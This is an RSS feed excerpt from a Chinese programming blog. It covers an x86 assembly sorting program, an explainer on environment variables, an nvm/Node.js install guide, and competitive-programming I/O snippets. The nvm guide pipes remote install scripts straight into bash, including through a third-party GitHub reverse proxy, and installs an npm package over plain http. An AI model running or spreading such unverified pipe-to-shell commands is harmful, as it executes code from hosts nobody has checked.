class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br></pre></td><td class="code"><pre><span class="line">DATA SEGMENT</span><br><span class="line">  X  DW 20 DUP(?)</span><br><span class="line">  NUM DW 6</span><br><span class="line">DATA ENDS</span><br><span class="line">S1 SEGMENT PARA STACK</span><br><span class="line">  BUF1 DW 20H DUP (0)</span><br><span class="line">  LEN1 EQU $-BUF1</span><br><span class="line">S1 ENDS</span><br><span class="line">CODE SEGMENT</span><br><span class="line">ASSUME CS:CODE,DS:DATA,SS:S1</span><br><span class="line">GO:</span><br><span class="line">  MOV  AX,DATA</span><br><span class="line">  MOV  DS,AX</span><br><span class="line">  MOV  AX,S1</span><br><span class="line">  MOV  SS,AX</span><br><span class="line">  MOV  SP,LEN1</span><br><span class="line"></span><br><span class="line">  MOV  CX,NUM</span><br><span class="line">  MOV  SI,OFFSET X</span><br><span class="line"></span><br><span class="line">L1:</span><br><span class="line">  CALL IN_2_HEX</span><br><span class="line">  MOV  AH, AL</span><br><span class="line">  CALL IN_2_HEX</span><br><span class="line">  MOV  [SI],AX</span><br><span class="line">CC:</span><br><span class="line">  CALL SPACE</span><br><span class="line">  ADD  SI,2</span><br><span class="line">  LOOP L1</span><br><span class="line">  CALL HR</span><br><span class="line">  MOV CX,NUM</span><br><span class="line">  MOV SI,OFFSET X</span><br><span class="line">  DEC CX</span><br><span class="line"></span><br><span class="line">LOOP1:</span><br><span class="line">  PUSH CX</span><br><span class="line">  MOV BX,OFFSET X</span><br><span class="line">LOOP2:</span><br><span class="line">  MOV AX,[BX]</span><br><span class="line">  CMP AX,[BX+2]</span><br><span class="line">  JGE CONTINUE     ;有符号比较</span><br><span class="line">  XCHG AX,[BX+2]</span><br><span class="line">  MOV [BX],AX</span><br><span class="line">CONTINUE:</span><br><span class="line">  ADD BX,2</span><br><span class="line">  LOOP LOOP2</span><br><span class="line">  POP CX</span><br><span class="line">  LOOP LOOP1</span><br><span class="line">  MOV cx, NUM</span><br><span class="line">  MOV si,offset X</span><br><span class="line">  CALL HR</span><br><span class="line"></span><br><span class="line">dispdec2:</span><br><span class="line">  MOV AX,[si]</span><br><span class="line">  call DISP</span><br><span class="line">  call SPACE</span><br><span class="line">  add si,2</span><br><span class="line">  loop dispdec2</span><br><span class="line">  CALL HR</span><br><span class="line"></span><br><span class="line">  MOV si,offset X</span><br><span class="line">  CALL HR</span><br><span class="line"></span><br><span class="line">  ; 最小数</span><br><span class="line">  DEC NUM</span><br><span class="line">  SHL NUM, 1</span><br><span class="line">  ADD SI,NUM</span><br><span class="line">  MOV AX,[SI]</span><br><span class="line">  call DISP</span><br><span class="line">  call SPACE</span><br><span class="line"></span><br><span class="line">  ; 最大数</span><br><span class="line">  MOV si,offset X</span><br><span class="line">  MOV AX,[si]</span><br><span class="line">  call DISP</span><br><span class="line">  call SPACE</span><br><span class="line"></span><br><span class="line">  ; 次小数</span><br><span class="line"></span><br><span class="line">  ADD SI,NUM</span><br><span class="line">  MOV AX,[SI-2]</span><br><span class="line">  call DISP</span><br><span class="line">  call SPACE</span><br><span class="line"></span><br><span class="line">  ; 次大数</span><br><span class="line">  MOV si,offset X</span><br><span class="line">  MOV AX,[SI+2]</span><br><span class="line">  call DISP</span><br><span class="line">  call HR</span><br><span class="line"></span><br><span class="line">  MOV AH,4CH</span><br><span class="line">  INT 21H</span><br><span class="line"></span><br><span class="line">IN_2_HEX:</span><br><span class="line">  PUSHF</span><br><span class="line">  PUSH BX</span><br><span class="line">  MOV BH,AH</span><br><span class="line">  CALL IN_1_HEX  ;AL  high</span><br><span class="line">  MOV AH,10H</span><br><span class="line">  MUL AH ;</span><br><span class="line">  MOV AH,AL</span><br><span class="line">  CALL IN_1_HEX  ;AL  low</span><br><span class="line">  ADD AL,AH</span><br><span class="line">  MOV AH,BH</span><br><span class="line">  POP BX</span><br><span class="line">  POPF</span><br><span class="line">RET</span><br><span class="line"></span><br><span class="line">IN_1_HEX:</span><br><span class="line">  PUSHF</span><br><span class="line">  PUSH BX</span><br><span class="line">  MOV BH,AH</span><br><span class="line"></span><br><span class="line">  MOV AH,01H</span><br><span class="line">  INT 21H</span><br><span class="line"></span><br><span class="line">  cmp AL,'9'</span><br><span class="line">  JBE IN_B</span><br><span class="line">  SUB AL,07H</span><br><span class="line">IN_B:   ; 'A-F'</span><br><span class="line">  SUB AL,30H</span><br><span class="line">  MOV AH,BH</span><br><span class="line">  POP BX</span><br><span class="line">  POPF</span><br><span class="line">RET</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">DISP:</span><br><span class="line">  PUSHF</span><br><span class="line">  PUSH DX</span><br><span class="line">  PUSH AX</span><br><span class="line">  PUSH BX</span><br><span class="line">  PUSH CX</span><br><span class="line"></span><br><span class="line">  MOV CX,0</span><br><span class="line">  MOV BX,10</span><br><span class="line"></span><br><span class="line">  test AX,8000H;是否为负</span><br><span class="line">  JE DISP1</span><br><span class="line">  CALL FF</span><br><span class="line">  ;AND  AX,7FFFH</span><br><span class="line">  NEG  AX</span><br><span class="line"></span><br><span class="line">DISP1:</span><br><span class="line">  MOV DX,0</span><br><span class="line">  DIV BX     ;AX,商；DX,余数</span><br><span class="line">  PUSH DX</span><br><span class="line">  INC CX</span><br><span class="line">  OR AX,AX   ;是否为0</span><br><span class="line">  JNE DISP1</span><br><span class="line">DISP2:</span><br><span class="line">  MOV AH,2</span><br><span class="line">  POP DX</span><br><span class="line">  ADD DL,30H</span><br><span class="line">  INT 21H</span><br><span class="line">  LOOP DISP2</span><br><span class="line">  POP CX</span><br><span class="line">  POP BX</span><br><span class="line">  POP AX</span><br><span class="line">  POP DX</span><br><span class="line">  POPF</span><br><span class="line">RET</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">SPACE:</span><br><span class="line">  PUSH DX</span><br><span class="line">  PUSH AX</span><br><span class="line">  MOV  DL,20H</span><br><span class="line">  MOV  AH,02H</span><br><span class="line">  INT  21H</span><br><span class="line">  POP  AX</span><br><span class="line">  POP  DX</span><br><span class="line">RET</span><br><span class="line"></span><br><span class="line">HR:</span><br><span class="line">  PUSH AX</span><br><span class="line">  PUSH DX</span><br><span class="line">  MOV  AH,02H</span><br><span class="line">  MOV  DL,0AH</span><br><span class="line">  INT  21H</span><br><span class="line">  MOV  DL,0DH</span><br><span class="line">  INT  21H</span><br><span class="line">  POP  DX</span><br><span class="line">  POP  AX</span><br><span class="line">RET</span><br><span class="line">FF:</span><br><span class="line">  PUSH DX</span><br><span class="line">  PUSH AX</span><br><span class="line">  MOV  DL,'-'</span><br><span class="line">  MOV  AH,02H</span><br><span class="line">  INT  21H</span><br><span class="line">  POP  AX</span><br><span class="line">  POP  DX</span><br><span class="line">RET</span><br><span class="line">CODE ENDS</span><br><span class="line">END GO</span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
      <title>为什么我们需要配置环境变量</title>
      <link>https://cat.ms/posts/why-do-we-need-to-configure-environment-variables/</link>
      <description>
        <![CDATA[<p>之前学习 Java 的时候，感觉最难做的一件事情就是配置 jdk 的环境。那叫一个困难啊，Path、JAVA_HOME、CLASSPATH 印象深刻的很…（但是现在 JDK11 不用再配置 classpath 了，jre 和 jdk 合并了）。就在去年暑假，要 <a href="/posts/install-opencv-windows-vs/">配 OpenCV 的环境</a>，要调的东西还是比较多的，对环境配置的概念又加深了。</p>
<p>现在懂的多了，配过的环境也多了，配过的平台也不算少。现在就想分享一下「关于我对配环境这件事情的感受」。</p>
<p>那就以 Windows 来说说环境配置的问题，Linux 下的其实差不多。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E6%80%9D%E8%80%83/">思考</category>
      <category domain="https://cat.ms/tags/Python/">Python</category>
      <category domain="https://cat.ms/tags/%E6%80%9D%E8%80%83/">思考</category>
      <pubDate>Sat, 27 Apr 2019 16:03:42 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>之前学习 Java 的时候，感觉最难做的一件事情就是配置 jdk 的环境。那叫一个困难啊，Path、JAVA_HOME、CLASSPATH 印象深刻的很…（但是现在 JDK11 不用再配置 classpath 了，jre 和 jdk 合并了）。就在去年暑假，要 <a href="/posts/install-opencv-windows-vs/">配 OpenCV 的环境</a>，要调的东西还是比较多的，对环境配置的概念又加深了。</p><p>现在懂的多了，配过的环境也多了，配过的平台也不算少。现在就想分享一下「关于我对配环境这件事情的感受」。</p><p>那就以 Windows 来说说环境配置的问题，Linux 下的其实差不多。</p><span id="more"></span><h2 id="为什么需要环境变量">为什么需要环境变量<a class="header-anchor" href="#为什么需要环境变量"></a></h2><p>我记得计算机网络的老师在给我们讲 ip / mac 地址的时候提过一个例子：</p><p>** 问：** 你刚到这个班，班里都是新同学，你想找班里的小明同学该怎么办？<br>** 答：** 在班里喊一声小明。这当然可以，小明肯定会响应你。在网络上来说也是如此。但是，如果有一张座位表，上面有每个同学的座位信息，你想找到某个人是不是就很简单了。</p><p>环境变量也是如此，也很适合这个例子。</p><p>当用户在 cmd 中执行一个命令的时候，命令行的解释器就会去找你要执行的命令。那么是去哪里找可执行的命令呢？两个地方：</p><ul><li>当前路径下的可执行文件</li><li>环境变量 Path 中保存的路径下的可执行文件（包括系统变量和用户变量）</li></ul><h2 id="举个例子">举个例子<a class="header-anchor" href="#举个例子"></a></h2><p>举个栗子：</p><p><code>win + r</code> 大家都用过吧，经常用来快速运行某些程序，比如打开命令行窗口我们就会用到：</p><p><img data-src="https://i.cat.ms/posts/why-do-we-need-to-configure-environment-variables/5ccafd6ee176b.png" alt="打开 cmd"></p><p>那电脑是怎么知道 cmd 在哪儿的呢？</p><p><img data-src="https://i.cat.ms/posts/why-do-we-need-to-configure-environment-variables/5ccafe08db5ec.png" alt="在Everything搜索cmd.exe"></p><p>能看到 <code>cmd.exe</code> 是在 <code>C:\Windows\System32\</code>和 <code>C:\Windows\SysWOW64\</code> 这两个路径下都有的，那就是说，电脑是去这两个路径之一打开的 <code>cmd.exe</code>，那我们来看一下，系统环境变量里到底有没有这两个路径的其中一个呢？</p><p>查看一下系统的环境变量中的 Path 是不是有这个路径：在小娜的输入框里输入 <code>path</code> 或者「环境」可以直接跳转到修改环境变量的地方，不行的话只能在计算机图标右键属性了。</p><p><img data-src="https://i.cat.ms/posts/why-do-we-need-to-configure-environment-variables/5ccb0002c8879.png" alt="我的环境变量"></p><p>可以发现有，验证了我们的想法~所以这个流程我们也弄清楚了：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">你在运行窗口输入 cmd：</span><br><span class="line">    -&gt; 解释器去寻找这个文件：</span><br><span class="line">        -&gt; 先寻找当前路径下是否有</span><br><span class="line">        -&gt; 再寻找环境变量中的Path保存的路径是否有</span><br><span class="line">    -&gt; 没找到就报没找到</span><br></pre></td></tr></tbody></table></figure><p>所以如果你没配置某个可执行文件到 Path 里，那你就得手动输入该文件的绝对路径才能打开了。</p><h2 id="Path-外的其他字段">Path 外的其他字段<a class="header-anchor" href="#Path-外的其他字段"></a></h2><p>其他的一些字段也是方便我们使用的，想用的时候使用 <code>%字段名%</code> 就能调用了。比如说我在系统设置里设置了 <code>CMDER_ROOT</code> 字段，将其赋值为<code>D:\0ArtinD\cmder</code>，这是一个路径。<img data-src="https://i.cat.ms/posts/why-do-we-need-to-configure-environment-variables/5ccb026a1dbfb.png" alt="设置 CMDER_ROOT"></p><p>然后我想打开该路径，就可以使用该字段名啦：<img data-src="https://i.cat.ms/posts/why-do-we-need-to-configure-environment-variables/5ccb03181acf3.png" alt="Snipaste_2019-05-02_22-47-37"></p><p>简单来说！就是编程中的变量名。定义一个常量，想用的时候可以使用。</p><p>在 Windows CMD 中，我们可以使用 <code>%VAR%</code> 来使用一个变量。</p><figure class="highlight bat"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">set</span> VAR=hello</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">%VAR%</span></span><br></pre></td></tr></tbody></table></figure><p>在 Unix Bash (Linux, Mac, etc.) 中，我们可以使用 <code>$VAR</code> 来使用一个变量。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> VAR=hello</span><br><span class="line"><span class="built_in">echo</span> <span class="variable">$VAR</span></span><br></pre></td></tr></tbody></table></figure><p>在 PowerShell 中，我们可以使用 <code>$env:VAR</code> 来使用一个变量。</p><figure class="highlight ps1"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$env:VAR</span> = <span class="string">"hello"</span></span><br><span class="line"><span class="built_in">Write-Output</span> <span class="variable">$env:VAR</span></span><br></pre></td></tr></tbody></table></figure><h2 id="用户变量和系统变量">用户变量和系统变量<a class="header-anchor" href="#用户变量和系统变量"></a></h2><p>操作系统中有用户的概念。</p><p>用户变量只对当前登录的用户生效。<br>系统变量对当前计算机的所有用户生效。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>安装 nvm 与 nodejs</title>
      <link>https://cat.ms/posts/install-nvm/</link>
      <description>
        <![CDATA[<p>在网上看到 nvm 这个神器之后，最近装 Nodejs 都是用 nvm 来装了。刚好又装了 Linux Mint ，重新在 Linux 下安装一遍 nvm。Windows 上也有的类似工具 <a href="https://github.com/coreybutler/nvm-windows">nvm-windows</a>，使用方法都差不多。</p>
<p>GitHub 链接：<a href="https://github.com/creationix/nvm">https://github.com/creationix/nvm</a></p>
<p>nvm 是 nodejs 的一个版本控制工具，也就是 “Node Version Manager” 的三个首字母。</p>
<p>2019-06-29 更新：Windows 安装 nvm</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Nodejs/">Nodejs</category>
      <category domain="https://cat.ms/tags/Nodejs/">Nodejs</category>
      <category domain="https://cat.ms/tags/nvm/">nvm</category>
      <pubDate>Fri, 19 Apr 2019 09:17:33 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>在网上看到 nvm 这个神器之后，最近装 Nodejs 都是用 nvm 来装了。刚好又装了 Linux Mint ，重新在 Linux 下安装一遍 nvm。Windows 上也有的类似工具 <a href="https://github.com/coreybutler/nvm-windows">nvm-windows</a>，使用方法都差不多。</p><p>GitHub 链接：<a href="https://github.com/creationix/nvm">https://github.com/creationix/nvm</a></p><p>nvm 是 nodejs 的一个版本控制工具，也就是 “Node Version Manager” 的三个首字母。</p><p>2019-06-29 更新：Windows 安装 nvm</p><span id="more"></span><h2 id="Linux-安装-nvm">Linux 安装 nvm<a class="header-anchor" href="#Linux-安装-nvm"></a></h2><h3 id="安装和升级-nvm">安装和升级 nvm<a class="header-anchor" href="#安装和升级-nvm"></a></h3><p>要安装或升级 nvm, 可以使用官方给的一个脚本。</p><p>可以使用 curl：</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash</span><br></pre></td></tr></tbody></table></figure><p>或者 wget:</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash</span><br></pre></td></tr></tbody></table></figure><p>如果你的机器在国内，<code>raw.githubusercontent.com</code> 已经被墙，你可以使用 <code>fastgit.org</code> 提供的反代：<a href="https://raw.fastgit.org/">https://raw.fastgit.org/</a>。</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget -qO- https://raw.fastgit.org/creationix/nvm/v0.34.0/install.sh | bash</span><br></pre></td></tr></tbody></table></figure><p>官方目前的版本号是 <code>v0.34.0</code>。<br>你可以去上面给的链接里去安装最新的。<br>这个脚本会克隆 nvm 的远程仓库到 <code>~/.nvm</code> 路径下，并且会将添加激活代码到你终端的配置文件中。</p><p>执行完这条命令之后，一切就安装好了。但是在国内, 你还需要配置一下代理，不需要的可以跳过。</p><h3 id="配置-git-代理">配置 git 代理<a class="header-anchor" href="#配置-git-代理"></a></h3><p>我本地使用的是 electron-ssr，代理的地址是 <code>socks5://127.0.0.1:1080</code>。执行下面这个命令，就可以针对 GitHub 设置代理了。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 只对 github.com</span></span><br><span class="line">git config --global http.https://github.com.proxy socks5://127.0.0.1:1080</span><br><span class="line"></span><br><span class="line"><span class="comment"># 取消代理</span></span><br><span class="line">git config --global --<span class="built_in">unset</span> http.https://github.com.proxy</span><br></pre></td></tr></tbody></table></figure><blockquote><p>注意哦，这种方式不支持 ssh 方式的代理，那个需要另外配置。在这里就不多讲，我会再写一篇博客来讲配置 ssh 的代理。</p></blockquote><p>使用命令行的配置也会修改个人目录下的 <code>.gitconfig</code> 文件。 Windows / Linux 都是这样。</p><p>也就是说，可以通过修改 <code>~/.gitconfig</code> 达到一样的效果：</p><figure class="highlight ini"><figcaption><span>.gitconfig</span></figcaption><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[http "https://github.com"]</span></span><br><span class="line">        <span class="attr">proxy</span> = socks5://<span class="number">127.0</span>.<span class="number">0.1</span>:<span class="number">1080</span></span><br></pre></td></tr></tbody></table></figure><h3 id="配置终端代理">配置终端代理<a class="header-anchor" href="#配置终端代理"></a></h3><p>因为终端里的命令是不走系统代理的，可以使用 proxychains4 等软件代理命令。</p><p>配置好 proxychains4 后，使用:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bash</span><br></pre></td></tr></tbody></table></figure><p>就安装好了。</p><h3 id="配置-zsh">配置 zsh<a class="header-anchor" href="#配置-zsh"></a></h3><p>安装好 nvm 后，发现我本机只把启动的配置写入到 <code>~/.bashrc</code> 而已，手动将配置复制到 <code>~/.zshrc</code> 中。</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> NVM_DIR=<span class="string">"<span class="variable">$HOME</span>/.nvm"</span></span><br><span class="line">[ -s <span class="string">"<span class="variable">$NVM_DIR</span>/nvm.sh"</span> ] &amp;&amp; \. <span class="string">"<span class="variable">$NVM_DIR</span>/nvm.sh"</span>  <span class="comment"># This loads nvm</span></span><br><span class="line">[ -s <span class="string">"<span class="variable">$NVM_DIR</span>/bash_completion"</span> ] &amp;&amp; \. <span class="string">"<span class="variable">$NVM_DIR</span>/bash_completion"</span>  <span class="comment"># This loads nvm bash_completion</span></span><br></pre></td></tr></tbody></table></figure><p>然后执行 <code>source ~/.zshrc</code>，即可</p><h2 id="安装-nodejs">安装 nodejs<a class="header-anchor" href="#安装-nodejs"></a></h2><h3 id="配置-nvm-下载来源">配置 nvm 下载来源<a class="header-anchor" href="#配置-nvm-下载来源"></a></h3><p>执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> NVM_NODEJS_ORG_MIRROR=https://npm.taobao.org/mirrors/node</span><br></pre></td></tr></tbody></table></figure><p>将下载来源设置为国内淘宝镜像。</p><h3 id="nvm-安装-nodejs">nvm 安装 nodejs<a class="header-anchor" href="#nvm-安装-nodejs"></a></h3><p>执行：</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">安装node稳定版</span></span><br><span class="line">nvm install stable</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">安装node最新版</span></span><br><span class="line">nvm install node</span><br></pre></td></tr></tbody></table></figure><p>就是这么简单~</p><h3 id="nvm-基本使用">nvm 基本使用<a class="header-anchor" href="#nvm-基本使用"></a></h3><p>详见：<a href="https://github.com/creationix/nvm#usage">https://github.com/creationix/nvm#usage</a></p><p>我自己使用的就几个命令，其实也就掌握这几个命令就够用了：</p><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nvm list # 展示可下载的版本</span><br><span class="line">nvm install 10.10.0 # 安装对应版本</span><br><span class="line">nvm use 10.10.0 # 使用对应版本</span><br><span class="line">nvm which 10.10.0 # 查看对应版本的安装目录</span><br></pre></td></tr></tbody></table></figure><h3 id="配置-npm-国内源">配置 npm 国内源<a class="header-anchor" href="#配置-npm-国内源"></a></h3><figure class="highlight shell"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install -g mirror-config-china --registry=http://registry.npm.taobao.org</span><br></pre></td></tr></tbody></table></figure><p>一下就可以配置好 好几个国内源～</p><p>That’s All.</p><h2 id="Windows-安装-nvm">Windows 安装 nvm<a class="header-anchor" href="#Windows-安装-nvm"></a></h2><h3 id="下载安装">下载安装<a class="header-anchor" href="#下载安装"></a></h3><p><a href="https://github.com/coreybutler/nvm-windows">nvm-windows</a></p><p>在 Releases 中下载最新版的 nvm-windows，如果下载的是 <code>nvm-noinstall.zip</code>，则需要配置环境变量。<br>这里直接安装了 setup 版，安装之后在 cmd 中输入 <code>nvm</code>，有显示即成功安装。</p><h3 id="配置国内源">配置国内源<a class="header-anchor" href="#配置国内源"></a></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nvm node_mirror https://npm.taobao.org/mirrors/node/</span><br><span class="line">nvm npm_mirror https://npm.taobao.org/mirrors/npm/</span><br></pre></td></tr></tbody></table></figure><p>可设置 nvm 从国内下载安装。安装 nodejs 可见上一节：<a href="#%E9%85%8D%E7%BD%AE-npm-%E5%9B%BD%E5%86%85%E6%BA%90">配置 npm 国内源</a></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>ACM 输入输出语句</title>
      <link>https://cat.ms/posts/acm-io/</link>
      <description>
        <![CDATA[<p>一些自己用的输入输出语句。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/ACM/">ACM</category>
      <category domain="https://cat.ms/tags/ACM/">ACM</category>
      <category domain="https://cat.ms/tags/OJ/">OJ</category>
      <pubDate>Tue, 31 Jul 2018 05:52:17 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>一些自己用的输入输出语句。</p><span id="more"></span><h2 id="Python-输入">Python 输入<a class="header-anchor" href="#Python-输入"></a></h2><h3 id="输入一行由空格切分的值">输入一行由空格切分的值<a class="header-anchor" href="#输入一行由空格切分的值"></a></h3><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># py2</span></span><br><span class="line">w = raw_input().split()</span><br><span class="line"><span class="comment"># py3</span></span><br><span class="line">w = <span class="built_in">input</span>().split()</span><br></pre></td></tr></tbody></table></figure><h3 id="输入整形变量">输入整形变量<a class="header-anchor" href="#输入整形变量"></a></h3><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># py2</span></span><br><span class="line">w = <span class="built_in">map</span>(<span class="built_in">int</span>,raw_input().split())</span><br><span class="line"><span class="comment"># py3</span></span><br><span class="line">w = <span class="built_in">map</span>(<span class="built_in">int</span>,<span class="built_in">input</span>().split())</span><br></pre></td></tr></tbody></table></figure><h2 id="JAVA-中在-OJ-上怎么实现多组输入">JAVA 中在 OJ 上怎么实现多组输入<a class="header-anchor" href="#JAVA-中在-OJ-上怎么实现多组输入"></a></h2><figure class="highlight java"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.util.Scanner;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> {</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"><span class="type">Scanner</span> <span class="variable">sc</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Scanner</span>(System.in);</span><br><span class="line">        <span class="keyword">while</span>(sc.hasNext()) {</span><br><span class="line">    <span class="type">double</span> <span class="variable">a</span> <span class="operator">=</span> sc.nextDouble();</span><br><span class="line"><span class="comment">// DO</span></span><br><span class="line">        }</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="C-多组输入">C 多组输入<a class="header-anchor" href="#C-多组输入"></a></h2><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> a, b;</span><br><span class="line"><span class="keyword">while</span>(<span class="built_in">scanf</span>(<span class="string">"%d%d"</span>, &amp;a, &amp;b) != EOF)</span><br><span class="line">{</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="C-中在-OJ-上怎么实现多组输入">C++ 中在 OJ 上怎么实现多组输入<a class="header-anchor" href="#C-中在-OJ-上怎么实现多组输入"></a></h2><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span>(cin &gt;&gt; a &gt;&gt; b){</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure>]]>
      </content:encoded>
    </item>
    <item>
